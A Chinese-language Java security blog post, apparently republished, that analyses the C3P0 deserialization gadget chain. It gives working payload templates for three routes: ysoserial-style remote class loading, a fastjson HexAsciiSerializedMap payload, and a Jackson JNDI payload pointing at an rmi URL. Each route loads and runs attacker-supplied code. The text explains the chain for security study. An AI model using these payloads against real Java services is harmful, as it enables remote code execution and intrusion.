Java安全之C3P0链利用与分析

Java安全之C3P0链利用与分析0x00前言在一些比较极端情况下,C3P0链的使用还是挺频繁的。0x01利用方式利用方式在C3P0中有三种利用方式httpbaseJNDIHEX

大家好,又见面了,我是全栈君,祝每个程序员都可以多学几门语言。

Java安全之C3P0链利用与分析

0x00 前言

在一些比较极端情况下,C3P0链的使用还是挺频繁的。

0x01 利用方式

利用方式

在C3P0中有三种利用方式

  • http base
  • JNDI
  • HEX序列化字节加载器

在原生的反序列化中如果找不到其他链,则可尝试C3P0去加载远程的类进行命令执行。JNDI则适用于Jackson等利用。而HEX序列化字节加载器的方式可以利用与fj和Jackson等不出网情况下打入内存马使用。

http base使用

使用也很简单,可以直接使用yso生成数据进行发送到服务端,然后加载到指定的远程类。

public class test1 {
    public static void main(String[] args) throws Exception {
        C3P0 c3P0 = new C3P0();
        Object object = c3P0.getObject("http://127.0.0.1:80/:exp");

        byte[] serialize = Serializer.serialize(object);
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(serialize);
        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
        Object o = objectInputStream.readObject();

    }
}

Java安全之C3P0链利用与分析

0x02 C3P0分析

构造分析

public Object getObject ( String command ) throws Exception {
        int sep = command.lastIndexOf(':');
        if ( sep < 0 ) {
            throw new IllegalArgumentException("Command format is: <base_url>:<classname>");
        }

        String url = command.substring(0, sep);
        String className = command.substring(sep + 1);
        PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);
        Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(className, url));
        return b;
    }
    private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {

        private String className;
        private String url;

        public PoolSource ( String className, String url ) {
            this.className = className;
            this.url = url;
        }

        public Reference getReference () throws NamingException {
            return new Reference("exploit", this.className, this.url);
        }

       ......
    }

代码比较简单,反射创建了一个PoolBackedDataSource实例对象,然后反射将connectionPoolDataSource的值设置为PoolSource类的实例,传递classNameurl参数。即我们传入的远程地址和类名。

在序列化的时候会去调用我们的com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#writeObject

Java安全之C3P0链利用与分析

这行代码走到了catch代码块里面,因为我们传入的this.connectionPoolDataSourcePoolSource类是不可被序列化的。

继续走到下面代码来看。

Java安全之C3P0链利用与分析

 public IndirectlySerialized indirectForm(Object var1) throws Exception {
        Reference var2 = ((Referenceable)var1).getReference();
        return new ReferenceIndirector.ReferenceSerialized(var2, this.name, this.contextName, this.environmentProperties);
    }

调用我们传递的this.connectionPoolDataSourcegetReference();方法。来获取到一个Reference这也是前面为我们要重写这个方法的原因。

实例ReferenceIndirector.ReferenceSerialized将刚刚获取的Reference传递进去。

Java安全之C3P0链利用与分析

Java安全之C3P0链利用与分析

利用分析

反序列化入口为com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject

Java安全之C3P0链利用与分析

调用readObject内部会调用ReferenceIndirector.getObject()

Java安全之C3P0链利用与分析

Java安全之C3P0链利用与分析

Java安全之C3P0链利用与分析

Class.forName ,如果可以控制forName⽅法的第⼀个和第三个参数,并且第⼆个参数为 true,那么就可以利⽤BCEL, ClassLoader实现任意代码加载执⾏ 。

把代码抠出来测试一下

ClassLoader var6 = Thread.currentThread().getContextClassLoader();
        URL var8 = new URL("http://127.0.0.1:80");
        URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{var8}, var6);
        Class var12 = Class.forName("exp", true, urlClassLoader);

Java安全之C3P0链利用与分析

跟踪了一下forName0native修饰的内部使用C/C++实现无法进行查看。

来看到官方的讲解。

Returns the Class object associated with the class or interface with the given string name, using the given class loader. Given the fully qualified name for a class or interface (in the same format returned by getName) this method attempts to locate, load, and link the class or interface. The specified class loader is used to load the class or interface. If the parameter loader is null, the class is loaded through the bootstrap class loader. The class is initialized only if the initialize parameter is true and if it has not been initialized earlier.

翻译大概的意思就是返回一个给定类或者接口的一个 Class 对象,如果没有给定 classloader, 那么会使用根类加载器。如果initalize这个参数传了 true,那么给定的类如果之前没有被初始化过,那么会被初始化。

也就是说我们的exp会被初始化,执行我们static代码块中的恶意代码。

官方说明

HEX序列化字节加载器

{"e":{"@type":"java.lang.Class","val":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"},"f":{"@type":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource","userOverridesAsString":"HexAsciiSerializedMap:hex编码内容;"}}

在fj反序列化userOverridesAsString调用settingsetter传入以HexAsciiSerializedMap开头的字符串进行解码并触发原生反序列化。

Java安全之C3P0链利用与分析

来看到调用流程。下面调用到这里

 this.vcs.fireVetoableChange("userOverridesAsString", oldVal, userOverridesAsString);

一路跟踪来到com.mchange.v2.c3p0.impl.C3P0ImplUtils#parseUserOverridesAsString

 public static Map parseUserOverridesAsString(String userOverridesAsString) throws IOException, ClassNotFoundException {
        if (userOverridesAsString != null) {
            String hexAscii = userOverridesAsString.substring("HexAsciiSerializedMap".length() + 1, userOverridesAsString.length() - 1);
            byte[] serBytes = ByteUtils.fromHexAscii(hexAscii);
            return Collections.unmodifiableMap((Map)SerializableUtils.fromByteArray(serBytes));
        } else {
            return Collections.EMPTY_MAP;
        }
    }

HexAsciiSerializedMap中内容提取出来进行反序列化

Java安全之C3P0链利用与分析

JNDI利用

 public static void main(String[] args) throws IOException, JsonProcessingException {
        String poc = "{\"object\":[\"com.mchange.v2.c3p0.JndiRefForwardingDataSource\",{\"jndiName\":\"rmi://localhost:8088/Exploit\", \"loginTimeout\":0}]}";
        System.out.println(poc);
        ObjectMapper objectMapper = new ObjectMapper();
        objectMapper.enableDefaultTyping();
        objectMapper.readValue(poc, Person.class);
    }

jackson和fastjson特性一样会调用setter,这里利用的是JndiRefDataSourceBase中的setjndiName

Reference

c3p0的三个gadget

0x03 结尾

构造序列化payload时,C3P0版本也会对漏洞利用有所影响。

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

发布者:全栈程序员-用户IM,转载请注明出处:https://javaforall.cn/119862.html原文链接:https://javaforall.cn

【正版授权,激活自己账号】: Jetbrains全家桶Ide使用,1年售后保障,每天仅需1毛

【官方授权 正版激活】: 官方授权 正版激活 支持Jetbrains家族下所有IDE 使用个人JB账号...

(0)


相关推荐

  • Java AbstractMethodError 原因分析

    Java AbstractMethodError 原因分析背景AbstractMethodError异常对于我来说还是比较不常遇见的,最近有幸遇到,并侥幸的解决了,在这里把此种场景剖析一番,进入正题,下面是AbstractMethodError在Java的异常机制中所处的位置:现在明确了AbstractMethodError所具有的特性:1.它是Error的子类,Error类及其子类都是被划分在非检查异常之列的,就是说这些异常不能在编译阶…

  • 疫情数据可视化_全国疫情数据可视化项目

    疫情数据可视化_全国疫情数据可视化项目###1.作业描述这个作业属于哪个课程课程结对学号221701225,221701208这个作业要求在哪里作业要求这个作业的目标完成需求分析,原型设计等开发前期任务作业正文本文其他参考文献echarts官方文档、Axure中使用echarts图表、Axure使用教程2.客户需求用户需求在主界面—全国地图中在全国地图上使用不同的…

  • 1、Java从入门到精通

    1、Java从入门到精通将自己学习的Java基础整理出来,方便复习和记忆~~一、Java的历史1、Java开发分成了3个方向JavaSE:主要用于桌面程序的开发,学习JavaEE和JavaME的基础JavaEE:主要用于网页程序的开发JavaME:主要用于嵌入式系统程序的开发2、JavaSE平台中的lib软件包Java.lang包——语言核心包java.util包——Jav…

  • CentOS 7搭建SMB服务「建议收藏」

    第一步:安装samba服务》yuminstallsamba第二步:启动samba服务》systemctlstartsmb查看samba的状态》systemctlstatussmb看到Active就说明在运行中了第三步:关闭防火墙》systemctlstopfirewalld.service//停止服务》systemctldisablefirewalld.service//关…

  • EasyPlayer支持YUV数据导出功能

    EasyPlayer支持YUV数据导出功能我们可能会遇到这样的功能,播放一个视频的同时,再把这个视频推送出去,或者对视频数据进行智能分析等处理.这样我们就迫切需要得到视频的原始数据.基于这个需求,EasyPlayer增加了获取视频YUV数据的功能.它的原理是这样的:CreatedwithRaphaël2.1.2EasyPlayerClientEasyPlayerClientDecoderDecoderYUVYUV读取媒体…

  • Jmeter正则表达式提取器获取Token-简单实例「建议收藏」

    Jmeter正则表达式提取器获取Token-简单实例「建议收藏」正则表达式提取响应数据中的Token步骤1:TestPlan下创建线程组,线程组下创建取样器->HTTP请求。上图中Login接口的Response中有用户token,该token需要在下一个需求提报的接口中使用,所以在Login下添加“正则表达式提取器”步骤2:选择Login,鼠标右键选择“添加->后置处理器->正则表达式提取器”步骤3:正则表达式…

发表回复

您的电子邮箱地址不会被公开。

关注全栈程序员社区公众号